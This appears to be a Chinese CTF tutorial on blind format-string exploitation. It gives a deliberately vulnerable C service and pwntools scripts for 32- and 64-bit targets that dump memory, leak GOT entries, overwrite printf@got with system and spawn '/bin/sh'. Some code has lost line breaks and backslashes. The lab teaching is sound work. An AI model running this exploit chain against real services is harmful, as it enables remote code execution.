作者:SkYe合天智汇

可能需要提前了解的知识

  • 格式化字符串原理&利用
  • got & plt 调用关系
  • 程序的一般启动过程

原理

格式化字符串盲打指的是只给出可交互的 ip 地址与端口,不给出对应的 binary 文件来让我们无法通过 IDA 分析,其实这个和 BROP 差不多,不过 BROP 利用的是栈溢出,而这里我们利用的是无限格式化字符串漏洞,把在内存中的程序给dump下来。

一般来说,我们按照如下步骤进行

  • 确定程序的位数(不同位数有些许差别)
  • 确定漏洞位置
  • 利用

使用条件

  • 可以读入 'x00' 字符的
  • 输出函数均是 'x00' 截断的
  • 能无限使用格式化字符串漏洞

32 位利用手法

实验环境准备

程序源码如下:

#include <stdio.h>
#include <string.h>
#include <unistd.h>
int main(int argc, char *argv[])
{setbuf(stdin, 0LL);setbuf(stdout, 0LL);setbuf(stderr, 0LL);int flag;char buf[1024];FILE* f;puts("What's your name?");fgets(buf, 1024, stdin);printf("Hi, ");printf("%s",buf);putchar('n');flag = 1;while (flag == 1){puts("Do you want the flag?");memset(buf,'0',1024);read(STDIN_FILENO, buf, 100);if (!strcmp(buf, "non")){printf("I see. Good bye.");return 0;}else{   printf("Your input isn't right:");printf(buf);printf("Please Try again!n");}fflush(stdout);}return 0;
}

编译 32 位文件:

gcc -z execstack -fno-stack-protector -m32 -o leakmemory leakmemory.c

用 socat 挂到端口 10001 上部署:

socat TCP4-LISTEN:10001,fork EXEC:./leakmemory

实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10001) 模拟没有 binary 的远程盲打情况。

确定程序的位数

用 %p 看看程序回显输出的长度是多少,以此判断程序的位数。这里看到回显是 4 个字节,判断是 32 位程序。可以再多泄露几个,都是 4 字节(含)以下的,确定为 32 位程序。

确定格式化字符串偏移

找到格式化字符串的偏移是多少,在后续操作中会用到。由于没有 binary 不能通过调试分析偏移,就采取输入多个 %p 泄露出偏移。为了容易辨认,字符串开始先填充 4 字节 的填充(64位8字节),然后再填入 %p 。

最后确认偏移为 7 。

dump 程序

dump 程序应该选哪个格式化字符串:

%n$s :将第 n 个参数的值作为地址,输出这个地址指向的字符串内容

%n$p :将第 n 个参数的值作为内容,以十六进制形式输出

我们是需要 dump 程序,也就是想获取我们所给定地址的内容,而不是获取我们给定的地址。所以应该用 %n$s 把我们给定地址当作指针,输出给定地址所指向的字符串。结合前面知道格式化字符串偏移为 7 ,payload 应该为:%9$s.TMP[addr]

注意:使用 %s 进行输出并不是一个字节一个字节输出,而是一直输出直到遇到 x00 截止符才会停止,也就是每次泄露的长度是不确定的,可能很长也可能是空。因为 .text 段很可能有连续 x00 ,所以泄露脚本处理情况有:

  1. 针对每次泄露长度不等,addr 根据每次泄露长度动态增加;
  2. 泄露字符串可能为空,也就是如何处理 x00 ;

除此之外,还有一个问题是泄露的起始地址在哪里?从各个大佬文章学到两种做法:从 .text 段开始;从程序加载地方开始;两种方法泄露出来程序,在 ida 中呈现有差别。

从程序加载地方开始

先来说省事的,从程序加载地方开始。程序加载地方 32 位和 64 位各不相同:

32 位:从 0x8048000 开始泄露

64 位:从 0x400000 开始泄露

下面是这条例题的泄露脚本,结合注解分析如何处理上面提到的问题:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binasciir = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name
r.recv()
r.sendline('nameaaa')
r.recv()# leak
begin = 0x8048000
text_seg =''
try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0:   # nilbegin +=1text_seg += 'x00'
except Exception as e:print e
finally:print '[+]',len(text_seg)with open('dump_bin','wb') as f:f.write(text_seg)

注解

  • 19-21 行:处理无关泄露的程序流程后,进入格式化字符串漏洞输入状态
  • 24 行:32 位系统加载地址
  • 9 行:"%9$s.TMP" 中的 .TMP 既是填充对齐,也是分隔符,方便后面处理数据
  • 14 行:使用binascii 将泄漏出来字符串每一个都从 ascii 转换为 十六进制,方便显示
  • 15 行:r.recvrepeat(0.2) 接受返回的垃圾数据,方便下一轮的输入
  • 30 行:泄漏地址动态增加,假如泄漏 1 字节就增加 1 ;泄漏 3 字节就增加 3
  • 31-33 行:处理泄漏长度为 0 ,也就是数据是 x00 的情况。地址增加 1 ,程序数据加 x00

运行之后,耐心等待泄漏完成。泄漏出来的程序是不能运行的,但可以在 ida 进过处理可以进行分析、找 plt 、got.plt 等。

将泄漏出来的程序,放入 ida ,启动时选择以 binary file 加载,勾选 Load as code segment,并调整偏移为: 0x8048000 (开始泄露的地址):

可以通过 shift+F12 查字符串定位到 main 函数,然后直接 F5 反编译:

基本结构已经出来了,盲打没有源代码,就需要根据传入参数去判断哪个 sub_xxx 是哪个函数了。比如输出格式化字符串的 sub_8048490 就是 printf 。

从 .text 段开始

程序启动过程:

从 _start 函数开始就是 .text 段,可以在 ida 中打开一个正常的 binary 观察 text 段开头第一个函数就是 _stat :(图为 32 位程序)

先用 %p 泄露出栈上数据,找到两个相同地址,而且这个地址很靠近程序加载初地址(32位:0x8048000;64位:0x400000)。脚本如下:

from pwn import *
import sysp = remote('127.0.0.1',10001)p.recv()
p.sendline('nameaaa')
p.recv()def where_is_start(ret_index=null):return_addr=0for i in range(400):payload = '%%%d$p.TMP' % (i)p.sendline(payload)p.recvuntil('right:')val = p.recvuntil('.TMP')log.info(str(i*4)+' '+val.strip().ljust(10))if(i*4==ret_index):return_addr=int(val.strip('.TMP').ljust(10)[2:],16)return return_addrp.recvrepeat(0.2)start_addr=where_is_start()

最后在偏移 1164 和 1188 找到 text 段地址 0x8048510 ,可以对比上图,上图是这条例题的截图:

泄露脚本和前面一样只需要修改一下起始地址:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
context.log_level = 'info'
r = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name
r.recv()
r.sendline('nameaaa')
r.recv()# leak
begin = 0x8048510
#begin = 0x8048000
text_seg =''
try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0:   # nilbegin +=1text_seg += 'x00'
except Exception as e:print e
finally:print '[+]',len(text_seg)with open('dump_bin_text','wb') as f:f.write(text_seg)

将泄露文件放入 ida 分析,启动时选择以 binary file 加载,勾选Load as code segment,并调整偏移为: 0x8048510 (开始泄露地址):

找到 main 函数在 0x0804860B ,需要将这部分定义为函数才能反编译,右键地址隔壁的名称 loc_804860B ,creat function 。

红色部分就是没有泄露出来的函数,后面跟的就是函数 plt 地址。

两种方法各有不同,结合实际使用。

解题流程

着重记录格式化字符串盲打,不一步一步分析这道题目漏洞(详细分析:默小西博客)。这道题目思路是:

  1. 确定 printf 的 plt 地址
  2. 通过泄露 plt 表中的指令内容确定对应的 got.plt 表地址
  3. 通过泄露的 got.plt 表地址泄露 printf 函数的地址
  4. 通过泄露的 printf 的函数地址确定 libc 基址,从而获得 system 地址
  5. 使用格式化字符串的任意写功能将 printf 的 got.plt 表中的地址修改为 system 的地址
  6. send 字符串 “/bin/sh” ,那么在调用 printf(“/bin/sh”) 的时候实际上调用的是 system(“/bin/sh;”) ,从而成功获取shell

确定 printf 的 plt 地址

将泄露出来的程序,放入 ida 中分析获得,函数名后半截就是地址 0x8048490 :

泄露 got.plt

和泄露程序 payload 高度相似:

payload = "%9$sskye" + p32(printf_plt)
p.sendline(payload)
# xffx25 junk code
p.recvuntil('right:xffx25')
printf_got_plt = u32(p.recv(4))

注解:

为什么接收 'right:xffx25' ?

right: 是固定回显,xffx25 是无用字节码。实际上 0x8048490 的汇编是这样的:

pwndbg> pdisass 0x8048490 ► 0x8048490 <printf@plt>       jmp    dword ptr [0x804a018] <0xf7e4d670>0x8048496 <printf@plt+6>     push   0x180x804849b <printf@plt+11>    jmp    0x8048450
# 字节码
pwndbg> x /20wx 0x8048490
0x8048490 <printf@plt>: 0xa01825ff  0x18680804  0xe9000000  0xffffffb0

0x8048490 指向是一条跳转 got.plt 指令,我们需要其中跳转的目标地址。xffx25 就是跳转指令的字节码,我们就要先接收 2 字节垃圾数据,然后再接收 4 字节的 got.plt 地址。

泄露 printf 函数的地址

构造方法同上,但不需要接收 2 字节垃圾数据:

payload = "%9$sskye" + p32(printf_got_plt)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u32(p.recv(4))

泄露 libc 基址& system 地址

题目没有给出 libc 。从泄露出来的 printf@got 去 libcdatabase 查询其他函数偏移。

printf:0x00049670
system:0x0003ada0

任意写修改 printf@got.plt

payload = fmtstr_payload(7, {printf_got_plt: system_addr})
p.sendline(payload)

exp

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
# @File    : leakmemory_remote.py
from pwn import *
import binascii
context.log_level = 'debug'
p = remote('127.0.0.1',10001)def leak(addr):payload = "%9$s.TMP" + p32(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x8048490# name
p.recv()
p.sendline('nameaaa')
p.recv()# leak printf@got.plt
payload = "%9$sskye" + p32(printf_plt)
p.sendline(payload)
# xffx25 junk code
p.recvuntil('right:xffx25')
printf_got_plt = u32(p.recv(4))
log.info("printf_got_plt:"+hex(printf_got_plt))# leak printf@got
payload = "%9$sskye" + p32(printf_got_plt)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u32(p.recv(4))
log.info("printf_got:"+hex(printf_got))# libcdatabase
libc_base = printf_got - 0x00049670
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + 0x0003ada0
log.info("system_addr:"+hex(system_addr))# overwrite
payload = fmtstr_payload(7, {printf_got_plt: system_addr})
p.sendline(payload)
p.sendline('/bin/shx00')p.interactive()

64 位利用手法

实验环境准备

还是使用 32 位的例题源码,编译 64 位程序:

gcc -z execstack -fno-stack-protector -o leakmemory_64 leakmemory.c

用 socat 挂到端口 10001 上部署:

socat TCP4-LISTEN:10000,fork EXEC:./leakmemory

实验环境完成,如果是本地部署的话,等等在 exp 里面写 remote("127.0.0.1",10000) 模拟没有 binary 的远程盲打。

确定程序的位数

填充 8 字节,然后再填入 %p ,回显长度是 8 字节。

确定格式化字符串偏移

最后确认偏移为 8 。

dump 程序

从程序加载地方开始,或者从 text 段开始可以的。这里不再找 text 段起始位置,直接从程序加载地方开始泄露。两个位数程序脚本通用的,改一下参数即可。

64 位程序加载起始地址是:0x400000,下面是对比图:

脚本还是那个脚本,改一下参数即可:

#! /usr/bin/env python
# -*- coding: utf-8 -*-
from pwn import *
import binascii
context.log_level = 'info'
#r = remote('127.0.0.1',10001)
r = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)r.sendline(payload)print "leaking:", hex(addr)r.recvuntil('right:')ret = r.recvuntil(".TMP",drop=True)print "ret:", binascii.hexlify(ret), len(ret)remain = r.recvrepeat(0.2)return ret# name
r.recv()
r.sendline('moxiaoxi')
r.recv()# leak
begin = 0x400000#0x8048000
text_seg =''
try:while True:ret = leak(begin)text_seg += retbegin += len(ret)if len(ret) == 0:   # nilbegin +=1text_seg += 'x00'
except Exception as e:print e
finally:print '[+]',len(text_seg)with open('dump_bin_64','wb') as f:f.write(text_seg)

ida 加载参数如图:

通过字符串定位到 main 函数,这里没有识别为函数,需要手动创建函数。在 0x0400826 右键 creat function ,然后就可以反汇编了。

点进 printf@plt ,里面是跳转到 printf@got.plt 指令,也就是从 ida 知道了:

printf_plt = 0x4006B0
printf_got_plt = 0x601030

解题思路与 32 位一致,利用脚本:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author  : MrSkYe
# @Email   : skye231@foxmail.com
# @File    : leakmemory_64_remote.py
from pwn import *
import binascii
context.log_level = 'debug'
p = remote('127.0.0.1',10000)def leak(addr):payload = "%9$s.TMP" + p64(addr)p.sendline(payload)print "leaking:", hex(addr)p.recvuntil('right:')resp = p.recvuntil(".TMP")ret = resp[:-4:]print "ret:", binascii.hexlify(ret), len(ret)remain = p.recvrepeat(0.2)return retprintf_plt = 0x4006B0
printf_got_plt = 0x601030# name
p.recv()
p.sendline('moxiaoxi')
p.recv()# leak printf@got
payload = "%9$s.TMP" + p64(printf_got_plt+1)
p.sendline(payload)
p.recvuntil('right:')
printf_got = u64(p.recv(5).ljust(7,'x00')+'x00')<<8
log.info("printf_got:"+hex(printf_got))# libcdatabase
libc_base = printf_got - 0x055800
log.info("libc_base:"+hex(libc_base))
system_addr = libc_base + 0x045390
log.info("system_addr:"+hex(system_addr))one = p64(system_addr)[:2]
two = p64(system_addr>>16)[:2]payload = "%9104c%12$hn%54293c%13$hn" + 'a'*7
payload += p64(printf_got_plt) + p64(printf_got_plt+2)p.sendline(payload)
p.recv()
p.sendline('/bin/shx00')p.interactive()

更多实例

  • axb_2019_fmt32

BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目

  • axb_2019_fmt64

BUU 上有实验环境,忽略提供的二进制文件,就是盲打题目

  • SuCTF2018 - lock2

主办方提供了 docker 镜像: suctf/2018-pwn-lock2

参考

  • ctf-wiki
  • leak me
  • pwn-盲打

实验推荐

格式化(字符串)溢出实验

https://www.hetianlab.com/expc.do?ec=2a2450e9-563e-4d99-b0ab-089d65ba7d4d

(通过该实验,了解格式化溢出原理并掌握其方法)

声明:笔者初衷用于分享与普及网络知识,若读者因此作出任何危害网络安全行为后果自负,与合天智汇及原作者无关!

判断字符串格式_Blind_pwn之格式化字符串相关推荐

  1. 字符串原样输出程序python_Python格式化字符串(格式化输出)

    Python 提供了"%"对各种类型的数据进行格式化输出,例如如下代码: price = 108 print ("the book's price is %s" ...

  2. java字符串 大括号_string.format格式化字符串中转义大括号“{}”

    今天,用Java读取配置文件占位符,使用String.Format(string format,object arg0)方法.以前只知"{0}"为索引占位符(即格式项),与参数列表 ...

  3. php中sql格式化字符串,sqli注入-sprintf格式化字符串带来的注入隐患

    PHP中 sprintf()格式化输出详解 sprintf()函数把格式化的字符串写入变量中. arg1.arg2.++参数将被插入到主字符串中的百分号(%)符号处.该函数是逐步执行的.在第一个%符号 ...

  4. python检查输入字符串格式_Python中的字符串格式检查

    在准备AS级计算机科学考试时,我在预发布材料中遇到了一个问题: 提示用户输入用户ID,并检查ID的格式是否与预定义的格式规则对应,并相应地输出. 格式(按顺序):一个大写字母 两个小写字母 三个数字字 ...

  5. python格式化字符串 时间戳 转 UTC(2023-01-11T16:00:00Z)格式时间

    前言:公司前端的时间参数分为两类 一种是时间戳传参,另一种是 2023-01-11T16:00:00Z (UTC)时间传参,有些脚本需要用到datatime.datatime因此要整理一下相关方法 获 ...

  6. python打印字符串格式_Python字符串三种格式化输出

    字符串格式化输出是python非常重要的基础语法,今天就把三种格式化输出做一个简单的总结,希望对大家有帮助. 格式化输出:内容按照一定格式要求进行输出. 1.使用占位符%输出 python2.6版本之 ...

  7. c++字符串输入_【pwn】什么是格式化字符串漏洞?

    0x00 前言 格式化字符串漏洞是在CWE[1](Common Weakness Enumeration,通用缺陷枚举)例表中的编号为CWE-134,由于在审计过程中很容易发现该漏洞,所以此类漏洞很少 ...

  8. XCTF-攻防世界CTF平台-PWN类——1、Mary_Morton(格式化字符串漏洞、缓冲区溢出漏洞)

    目录标题 1.查看程序基本信息 2.反编译程序 3.攻击思路 (1)先利用功能2格式化字符串漏洞 (2)找到功能1的sub_400960()函数返回地址的位置 方法二 1.查看程序基本信息 Mary_ ...

  9. python 为什么用%格式化_Python中应该使用%还是format来格式化字符串?

    原标题:Python中应该使用%还是format来格式化字符串? Python中格式化字符串目前有两种阵营:%和format,我们应该选择哪种呢? 自从Python2.6引入了format这个格式化字 ...

最新文章

  1. 0x000000ed怎么修复_win10蓝屏代码0x000000ed的修复方法
  2. mysql实验6语言结构_实验六 SQL语言数据查询语言DQL.pdf
  3. 【Android 系统开发】 Android 系统启动流程简介
  4. 平庸开发者的生存指南
  5. AES128/ECB/PKCS5Padding 的实现
  6. jmeter之关联操作
  7. 转:Google论文之三----MapReduce
  8. 【PAG组件】-从解码渲染层面对比 PAG 与 lottie
  9. java 静态方法同步_Java – 同步静态方法
  10. 114_Power Pivot 销售订单之销售额、成本、利润率相关
  11. 超级全面的 Lombok 注解介绍,学一波!
  12. python获取表单数据的代码_使用flask和python从html表单获取表单数据
  13. 战神级CTO直招产品技术小鲜肉,“悦家”团队带你玩转家装O2O
  14. 前端- 不用React 而使用 Vue,这么做对吗?
  15. c语言函数初始化,c语言初始化输入和输出函数
  16. [Javascript 高级程序设计]学习心得记录9 js面向对象
  17. MYSQL_ASSOC
  18. 12年前的作品──《美绿中国象棋》制作过程及算法简介
  19. 如何证明凸函数的局部极小值为全局极小值
  20. 汉诺塔小游戏 c语言

热门文章

  1. 【51CTO/BBS】请教: SQL里有没有字符串组合Join的函数??
  2. css在线留言星号,使用CSS 给表单必选项添加星号的实现方法
  3. android getprop 分辨率,Android getprop 读取的属性哪里来的?
  4. HTML基础,块级元素/行内元素/行内块元素辨析【2分钟掌握】
  5. SpringBatch批处理框架入门(一)
  6. Jenkins真正地完整迁移流程(亲测有效)
  7. arthas命令整理:基础命令、jvm相关、class相关命令
  8. Linux安装ansible自动化运维工具
  9. Python Django HttpRequest请求对象常见属性和方法
  10. python3遍历技巧